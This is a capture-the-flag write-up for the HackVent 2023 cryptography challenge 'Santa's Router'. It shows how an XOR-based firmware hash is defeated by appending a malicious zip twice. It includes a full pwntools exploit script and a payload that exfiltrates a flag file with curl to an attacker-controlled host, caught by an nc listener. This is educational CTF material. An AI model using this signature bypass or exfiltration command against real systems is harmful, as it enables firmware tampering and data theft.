HackVent 2023 - [HV23.13] Santa's Router
Difficulty: Medium
Category: Cryptography
Author: fabi_07
Santa came across a weird service that provides something with signatures of a firmware. He isn’t really comfortable with all that crypto stuff, can you help him with this?
The security issue lies in the hashFile
function:
def hashFile(fileContent: bytes) -> int:
hash = 0
for i in range(0, len(fileContent), 8):
h = []
for j in range(8):
if i + j < len(fileContent):
h.append(fileContent[i + j] << 8 * j)
hash ^= sum(h)
return hash
As XOR
is used to add every byte to the hash, this means we get 0
again when we have the same byte twice. As tht zipfile
module just ignores leading data and tries to use the last zip signature we can create a payload of <original zip> <evil zip> <evil zip>
.
That didn’t directly work as the zip files had a length in bytes that wasn’t divisible by 8
. So when two zip files were appended, the hash didn’t result in 0 anymore. That’s why I wrote a custom function to do the padding for me.
#!/usr/bin/python3
from chall import hashFile
import zipfile
import base64
import binascii
from pwn import *
content = 'curl http:/10.13.0.22:4444 -d @flag # abcdefg' # <- required padding
filename = "start.sh"
# create zipfile
open(filename, "w+").write(content)
zipfile.ZipFile("solution.zip", "w").write(filename)
def hashFileFix(fileContent: bytes) -> int:
hash = []
for i in range(0, len(fileContent), 8):
h = []
for j in range(8):
if i + j < len(fileContent):
h.append(hex(fileContent[i + j])[2:])
print(hex(fileContent[i + j])[2:].ljust(2, "0"), end=" ")
hash.append(binascii.unhexlify("".join([x.rjust(2, "0") for x in h]).rjust(16 ,"0")))
print()
return b"".join(hash)
# get b64 of real fw
real_data = open("firmware.zip", "rb").read()
# Sanity check
solution_data = open("solution.zip", "rb").read()
solution_data_patched = hashFileFix(solution_data)
s = remote("152.96.15.6", 1337)
s.recvuntil(b"$ ")
s.sendline(b"version")
s.recvline()
sig = s.recvline().split(b": ")[1].strip()
s.recvuntil(b"$ ")
s.sendline("update")
s.sendline(base64.b64encode(real_data + solution_data_patched + solution_data))
s.sendline(sig)
s.sendline("exit")
print(s.recvall())
After starting a nc listener using nc -lvp 4444
, we get the flag as a POST
request:
HV23{wait_x0r_is_not_a_secure_hash_function}